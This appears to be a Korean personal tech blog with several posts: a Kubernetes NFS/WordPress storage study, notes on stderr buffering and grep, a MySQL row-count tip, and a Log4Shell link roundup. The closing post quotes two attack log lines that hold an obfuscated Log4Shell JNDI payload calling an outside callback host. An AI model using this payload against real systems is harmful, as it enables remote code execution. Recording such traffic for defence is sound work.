DOIK-Study

가시다님과 함께하는 스터디는 항상 즐겁다. 이번 스터디엔 라이브로 못해서..일단 바닐라쿠버 배포하고 시작했다.

Headless 서비스는 ClusterIP가 None으로 설정하며 kubeproxy를 통하지않고 pod의 endpoint가 svc에 연결된다.

나는 먼저 NFS 서버를 Headless 로 배포하기로 했다.

kind: PersistentVolumeClaim
apiVersion: v1
metadata:
  name: nfs-server-pvc
spec:
  accessModes:
    - ReadWriteOnce
  resources:
    requests:
      storage: 10Gi
      
---

kind: Service
apiVersion: v1
metadata:
  name: nfs-service
spec:
  type: ClusterIP
  clusterIP: None
  selector:
    role: nfs
  ports:
    # Open the ports required by the NFS server
    # Port 2049 for TCP
    - name: tcp-2049
      port: 2049
      protocol: TCP

    # Port 111 for UDP
    - name: udp-111
      port: 111
      protocol: UDP
      
    # Port 20048 for TCP
    - name: tcp-20048
      port: 20048
      protocol: TCP
---

apiVersion: v1
kind: ReplicationController
metadata:
  name: nfs-server
spec:
  replicas: 1
  selector:
    role: nfs-server
  template:
    metadata:
      labels:
        role: nfs-server
    spec:
      containers:
      - name: nfs-server
        image: gcr.io/google_containers/volume-nfs:0.8
        ports:
          - name: nfs
            containerPort: 2049
          - name: mountd
            containerPort: 20048
          - name: rpcbind
            containerPort: 111
        securityContext:
          privileged: true
        volumeMounts:
          - mountPath: /exports
            name: nfs-export
      volumes:
        - name: nfs-export-fast
          persistentVolumeClaim:
            claimName: nfs-server-pvc-fast
            

🐤

yaml을 deploy 하면 다음과같다.

이제 프로비저너 셋팅이 좀 필요하다. 가시다님께서는 친절하게 프로비저너 셋팅도 다해주셨지만 나는 내가만든 NFS 서버를 사용할거기 때문에 프로비저너를 다시 배포할거다.

#지우고
helm delete -n kube-system nfs-provisioner
#다시 설치하고
helm install nfs-provisioner -n kube-system nfs-subdir-external-provisioner/nfs-subdir-external-provisioner --set nfs.server=nfs-service.default.svc.cluster.local --set nfs.path=/exports
NAME: nfs-provisioner
LAST DEPLOYED: Thu May 26 16:10:31 2022
NAMESPACE: kube-system
STATUS: deployed
REVISION: 1
TEST SUITE: None

🐤

응 잘됬다.

(🐤 |DOIK-Lab:default) root@k8s-m:~# k get svc
NAME          TYPE        CLUSTER-IP   EXTERNAL-IP   PORT(S)            AGE
kubernetes    ClusterIP   10.200.1.1   <none>        443/TCP            4h30m
nfs-service   ClusterIP   None         <none>        2049/TCP,111/UDP   6m29s

(🐤 |DOIK-Lab:default) root@k8s-m:~# k get ep
NAME          ENDPOINTS                            AGE
kubernetes    192.168.10.10:6443                   4h30m
nfs-service   172.16.158.2:2049,172.16.158.2:111   6m48s

(🐤 |DOIK-Lab:default) root@k8s-m:~# k get pod -o wide
NAME             READY   STATUS    RESTARTS   AGE    IP             NODE     NOMINATED NODE   READINESS GATES
nfs-server-pod   1/1     Running   0          7m1s   172.16.158.2   k8s-w1   <none>           <none>

🐤

정상적으로 NFS서버가 잘 배포된것을 확인할수 있다.

apiVersion: v1
kind: PersistentVolume
metadata:
  name: mysql-nfs-pv
  labels:
    type: mysql-nfs-pv
spec:
  storageClassName: nfs-client
  capacity:
    storage: 4Gi
  accessModes:
  - ReadWriteOnce          # ReadWriteOnce RWO (1:1 마운트, 읽기 쓰기)
  nfs:
    server: 172.16.184.9 # NFS-Server 의 IP
    path: /1       # NFS 저장소
---
apiVersion: v1
kind: PersistentVolume
metadata:
  name: wp-nfs-pv
  labels:
    type: wp-nfs-pv
spec:
  storageClassName: nfs-client
  capacity:
    storage: 4Gi
  accessModes:
  - ReadWriteOnce
  nfs:
    server: 172.16.184.9 # NFS-Server 의 IP
    path: /2      # NFS 저장소

🐤

nfs-service.svc.cluster.local domain을 이용하려 하였으나, PV 에서 domain으로 설정시 nfs-provisioner 정상적으로 마운트 되지 않았다.

headless NFS를 하려고 한것이나, 실패하였다.
지원하지 않는다.(결론)

다음과 같은 증상이었다. IP로 프로비저너 설치후엔 잘되었다.

---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  labels:
    app: wordpress
  name: mysql-pv-claim
spec:
  storageClassName: nfs-client
  accessModes:
  - ReadWriteOnce
  resources:
    requests:
      storage: 4Gi
  selector:
    matchLabels:
      type: "mysql-nfs-pv"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  labels:
    app: wordpress
  name: wp-pv-claim
spec:
  storageClassName: nfs-client
  accessModes:
  - ReadWriteOnce
  resources:
    requests:
      storage: 4Gi
  selector:
    matchLabels:
      type: "wp-nfs-pv"

🐤

selector를 이용하여 PV를 사용하도록 설정해 주었다

Every 2.0s: kubectl get svc,pods,pv,pvc -o wide                                                                                                                                                                    k8s-m: Thu May 26 18:10:41 2022

NAME                      TYPE        CLUSTER-IP    EXTERNAL-IP   PORT(S)                      AGE     SELECTOR
service/kubernetes        ClusterIP   10.200.1.1    <none>        443/TCP                      7h56m   <none>
service/nfs-service       ClusterIP   None          <none>        2049/TCP,111/UDP,20048/TCP   71m     role=nfs
service/wordpress         NodePort    10.200.1.33   <none>        80:30387/TCP                 3m25s   app=wordpress,tier=frontend
service/wordpress-mysql   ClusterIP   None          <none>        3306/TCP                     3m25s   app=wordpress,tier=mysql

NAME                                   READY   STATUS    RESTARTS   AGE     IP              NODE     NOMINATED NODE   READINESS GATES
pod/nfs-server-rxvf7                   1/1     Running   0          71m     172.16.184.9    k8s-w2   <none>           <none>
pod/wordpress-859f989bbb-msppd         1/1     Running   0          3m25s   172.16.158.21   k8s-w1   <none>           <none>
pod/wordpress-mysql-66fb7cfb68-z9vj5   1/1     Running   0          3m25s   172.16.158.20   k8s-w1   <none>           <none>

NAME                                                        CAPACITY   ACCESS MODES   RECLAIM POLICY   STATUS   CLAIM                         STORAGECLASS   REASON   AGE     VOLUMEMODE
persistentvolume/mysql-nfs-pv                               4Gi        RWO            Retain           Bound    default/mysql-pv-claim        nfs-client              3m32s   Filesystem
persistentvolume/pvc-adc24c97-ca67-4700-b3c5-2fc51c4cce01   10Gi       RWO            Delete           Bound    default/nfs-server-pvc-fast   local-path              71m     Filesystem
persistentvolume/wp-nfs-pv                                  4Gi        RWO            Retain           Bound    default/wp-pv-claim           nfs-client              3m32s   Filesystem

NAME                                        STATUS   VOLUME                                     CAPACITY   ACCESS MODES   STORAGECLASS   AGE     VOLUMEMODE
persistentvolumeclaim/mysql-pv-claim        Bound    mysql-nfs-pv                               4Gi        RWO            nfs-client     3m25s   Filesystem
persistentvolumeclaim/nfs-server-pvc-fast   Bound    pvc-adc24c97-ca67-4700-b3c5-2fc51c4cce01   10Gi       RWO            local-path     71m     Filesystem
persistentvolumeclaim/wp-pv-claim           Bound    wp-nfs-pv                                  4Gi        RWO            nfs-client     3m25s   Filesystem

🐤

서비스가 잘 작동하는것을 확인하였다.

(🐤 |DOIK-Lab:default) root@k8s-m:~/yaml/yaml# k exec nfs-server-rxvf7 -it -- /bin/bash
[root@nfs-server-rxvf7 /]# cd /exports/
[root@nfs-server-rxvf7 exports]# ll
total 32
drwxr-xr-x 5 systemd-bus-proxy root 4096 May 26 09:07 1
drwxr-xr-x 5                33   33 4096 May 26 09:07 2
-rw-r--r-- 1 root              root   16 May 26 07:59 index.html
[root@nfs-server-rxvf7 exports]# cd 1
[root@nfs-server-rxvf7 1]# ll
total 110608
-rw-rw---- 1 systemd-bus-proxy input       56 May 26 09:07 auto.cnf
-rw-rw---- 1 systemd-bus-proxy input 50331648 May 26 09:07 ib_logfile0
-rw-rw---- 1 systemd-bus-proxy input 50331648 May 26 09:07 ib_logfile1
-rw-rw---- 1 systemd-bus-proxy input 12582912 May 26 09:07 ibdata1
drwx------ 2 systemd-bus-proxy input     4096 May 26 09:07 mysql
drwx------ 2 systemd-bus-proxy input     4096 May 26 09:07 performance_schema
drwx------ 2 systemd-bus-proxy input     4096 May 26 09:07 wordpress
[root@nfs-server-rxvf7 1]# cd ..
[root@nfs-server-rxvf7 exports]# cd 2
[root@nfs-server-rxvf7 2]# ll
total 192
-rw-r--r--  1 33 33   418 Sep 25  2013 index.php
-rw-r--r--  1 33 33 19935 Jan  2  2017 license.txt
-rw-r--r--  1 33 33  7413 Dec 12  2016 readme.html
-rw-r--r--  1 33 33  5447 Sep 27  2016 wp-activate.php
drwxr-xr-x  9 33 33  4096 Oct 31  2017 wp-admin
-rw-r--r--  1 33 33   364 Dec 19  2015 wp-blog-header.php
-rw-r--r--  1 33 33  1627 Aug 29  2016 wp-comments-post.php
-rw-r--r--  1 33 33  2764 May 26 09:07 wp-config-sample.php
-rw-r--r--  1 33 33  3154 May 26 09:07 wp-config.php
drwxr-xr-x  4 33 33  4096 Oct 31  2017 wp-content
-rw-r--r--  1 33 33  3286 May 24  2015 wp-cron.php
drwxr-xr-x 18 33 33 12288 Oct 31  2017 wp-includes
-rw-r--r--  1 33 33  2422 Nov 21  2016 wp-links-opml.php
-rw-r--r--  1 33 33  3301 Oct 25  2016 wp-load.php
-rw-r--r--  1 33 33 34327 May 12  2017 wp-login.php
-rw-r--r--  1 33 33  8048 Jan 11  2017 wp-mail.php
-rw-r--r--  1 33 33 16200 Apr  6  2017 wp-settings.php
-rw-r--r--  1 33 33 29924 Jan 24  2017 wp-signup.php
-rw-r--r--  1 33 33  4513 Oct 14  2016 wp-trackback.php
-rw-r--r--  1 33 33  3065 Aug 31  2016 xmlrpc.php

🐤

목적이었던 NFS도 정상적으로 작동한다.

(🐤 |DOIK-Lab:default) root@k8s-m:~/yaml# k scale deployment wordpress --replicas=3

(🐤 |DOIK-Lab:default) root@k8s-m:~/yaml# k get pod
NAME                               READY   STATUS    RESTARTS   AGE
nfs-server-rxvf7                   1/1     Running   0          77m
wordpress-859f989bbb-8r5zh         1/1     Running   0          47s
wordpress-859f989bbb-msppd         1/1     Running   0          8m38s
wordpress-859f989bbb-xhbs9         1/1     Running   0          47s
wordpress-mysql-66fb7cfb68-z9vj5   1/1     Running   0          8m38s

(🐤 |DOIK-Lab:default) root@k8s-m:~/yaml# k get pv
NAME                                       CAPACITY   ACCESS MODES   RECLAIM POLICY   STATUS   CLAIM                         STORAGECLASS   REASON   AGE
mysql-nfs-pv                               4Gi        RWO            Retain           Bound    default/mysql-pv-claim        nfs-client              9m6s
pvc-adc24c97-ca67-4700-b3c5-2fc51c4cce01   10Gi       RWO            Delete           Bound    default/nfs-server-pvc-fast   local-path              77m
wp-nfs-pv                                  4Gi        RWO            Retain           Bound    default/wp-pv-claim           nfs-client              9m6s
(🐤 |DOIK-Lab:default) root@k8s-m:~/yaml# k get pvc
NAME                  STATUS   VOLUME                                     CAPACITY   ACCESS MODES   STORAGECLASS   AGE
mysql-pv-claim        Bound    mysql-nfs-pv                               4Gi        RWO            nfs-client     9m2s
nfs-server-pvc-fast   Bound    pvc-adc24c97-ca67-4700-b3c5-2fc51c4cce01   10Gi       RWO            local-path     77m
wp-pv-claim           Bound    wp-nfs-pv                                  4Gi        RWO            nfs-client     9m2s

🐤

볼륨도 잘공유하여 프로비저닝 된것을 확인할수 있다. ㅜㅜ

Linux-stdin-stdout-stderr-2


stderr 는 버퍼를 사용하지 않지만 그것과 별개로 그대로 출력하기 때문에 grep 이 되지 않는것입니다.

https://www.facebook.com/groups/korelnxuser/permalink/2060620130779393/

소용환님께서 답변해주셔서 알 수 있었습니다.

그래서 테스트를 진행하였습니다.

stdbuf 명령어를 이용하여 buffer 를 제거하고 grep 해보았습니다. stdbuf -o0 는 stdout 를 unbuffered 로 출력하는 명력어 입니다.

# cat test.txt 
1
2
3
4
5
6
# stdbuf -o0 cat test.txt | grep 2
2

.

그런데 문득 버퍼사이즈가 0인것과 버퍼가 아주없는 unbuffered 는 차이가 있다는것을 알게되었습니다. 그래서 stderr 에 buffer 를 주었습니다.

# cat test.txt 1>&2 | stdbuf -eL grep 2
1
2
3
4
5
6

# stdbuf -eL cat test.txt 1>&2 | grep 2
1
2
3
4
5
6

.

grep 이 되지 않는것을 확인할수 있었습니다.

이 테스트를 결과로 stderr가 grep 되지 않는것은 buffer의 사용유무와 상관없이 그대로 출력하기 때문임을 알게되었습니다.

https://www.pixelbeat.org/programming/stdio_buffering/

이해를 돕기위해 pixelbeat.org 의 이미지를 첨부합니다.

Linux-stdin-stdout-stderr-1


잘못된 정보를 공유하였습니다.
그부분을 수정하고자 게시물을 다시 올립니다.

바로잡은 내용은 아래의 글입니다.

리눅스에서 stderr 으로 받는 문자열은 grep이 되지 않는다.

이유는 stderr는 Unbufferd 로 출력만 하기때문이다.

# httpd -T | grep http
AH00558: httpd: Could not reliably determine the server's fully qualified domain name, using 10.0.10.6. Set the 'ServerName' directive globally to suppress this message
(98)Address already in use: AH00072: make_sock: could not bind to address 0.0.0.0:80
no listening sockets available, shutting down
AH00015: Unable to open logs

.

위의 경우가 그 예이다.

우리가 사용하는 grep, awk 같은 명령어는 buffer를 이용한다. 그런데 stderr는 buffer 를 거치지 않고 출력하기때문에 grep 나 awk를 사용할수 없는 것이다.

이것을 이해하기 위해선 Buffering을 이해해야 한다.

이런 경우 우리는 2>&1 같은 리디렉션을 이용하여 처리를 한다.

2(stderr)>(리디렉션)&(실행한 다음)1(stdout) 이것은 표준에러를 표준출력으로 변경해준다는 의미로 받아들이면 접근이 굉장히 어렵다. 더 풀어써보겠다.

stderr 는 unbuffer 고 이것을 pipe buffer 를 거쳐 stdin 으로 들어가 grep 은 버퍼내의 데이터를 읽어들여서 stdout로 출력하게 되는것이다.

그냥 버퍼까지 올리지 않던 데이터를 리디렉션으로 버퍼에 넣어준다고 생각하자.

# httpd -T 2>&1 | grep http
AH00558: httpd: Could not reliably determine the server's fully qualified domain name, using 10.0.10.6. Set the 'ServerName' directive globally to suppress this message

.

다음과 같이 grep 가 동작한다.

grep 는 버퍼를 사용하는 명령어다. 버퍼를 사용하지 않는 출력(stderr)은 grep 할수없다.

버퍼를 사용하는 출력(stdout)는 grep 할수있다.

Mysql-Rows-count

information_schema 스키마는 랜덤샘플링으로 인하여 값의 오차가 생길수 있으므로 정확하지 않음

검증방법

ANALYZE TABLE 테이블명;SELECT table_name, table_rows, round(data_length/(1024*1024),2) as 'DATA_SIZE(MB)', round(index_length/(1024*1024),2) as 'INDEX_SIZE(MB)' FROM information_schema.TABLES WHERE table_schema = '데이터베이스명' GROUP BY table_name ORDER BY data_length DESC LIMIT 10;

ANALYZE 를 진행하며 테이블 확인 - information_schema.TABLES 이 계속 변경되는것이 확인됨

따라서 row count 로 만 검증가능

SELECT     COUNT(*)FROM    테이블명;

대표적으로 자주사용하는 테이블을 카운트하여 비교하는것이 제일 정확

log4shell - url 정리

총평: log4shell 취약점이 있으면 해커가 서버에서 뭐든할수있게 되어서 랜섬부터 멀웨어까지 다양하고 참신한 공격이 가능

1 . "log4j2.formatMsgNoLookups"를 "true"로 설정

2. Log4j 2.15.0(https://logging.apache.org/log4j/2.x/download.html) 버전으로 업데이트

https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=36389

대응방법 KISA

https://www.fastly.com/blog/digging-deeper-into-log4shell-0day-rce-exploit-found-in-log4j

패스틀리 링크

https://blog.cloudflare.com/cve-2021-44228-log4j-rce-0-day-mitigation/

클라우드플레어링크

https://www.pcmag.com/news/countless-serves-are-vulnerable-to-apache-log4j-zero-day-exploit

취약점 테스트방법

https://github.com/mwarnerblu/Log4ShellScanner

Log4shell Scanner

https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce

취약점 점검 expolit

https://www.lunasec.io/docs/blog/log4j-zero-day/

curl 테스트방법

https://gist.github.com/nathanqthai/01808c569903f41a52e7e7b575caa890

로깅패턴

https://www.picussecurity.com/resource/blog/simulating-and-preventing-cve-2021-44228-apache-log4j-rce-exploits

로그에서 확인방법

https://github.com/YfryTchsGD/Log4jAttackSurface

대상제품리스트

https://aws.amazon.com/ko/security/security-bulletins/AWS-2021-005/?fbclid=IwAR1j7GAuBIbuh7HrlQJO-HTTKFjac7YYxvSWVh950CWiav2vO6AzSTI-S_0

AWS의 대응 WAF에 Managed rule이 추가

https://github.com/YfryTchsGD/Log4jAttackSurface

공격받은곳 리스트

https://github.com/christophetd/log4shell-vulnerable-app

동작샘플

블로그에 남은 공격로그

127.0.0.6 - - [12/Dec/2021:04:29:32 +0000] "GET /favicon.ico HTTP/1.1" 302 5 "-" "${jndi:${lower:l}${lower:d}a${lower:p}://world80.log4j.bin${upper:a}ryedge.io:80/callback}" "68.183.198.247"

127.0.0.6 - - [12/Dec/2021:04:29:33 +0000] "GET /wp-includes/images/w-logo-blue-white-bg.png HTTP/1.1" 200 4119 "-" "${jndi:${lower:l}${lower:d}a${lower:p}://world80.log4j.bin${upper:a}ryedge.io:80/callback}" "68.183.198.247"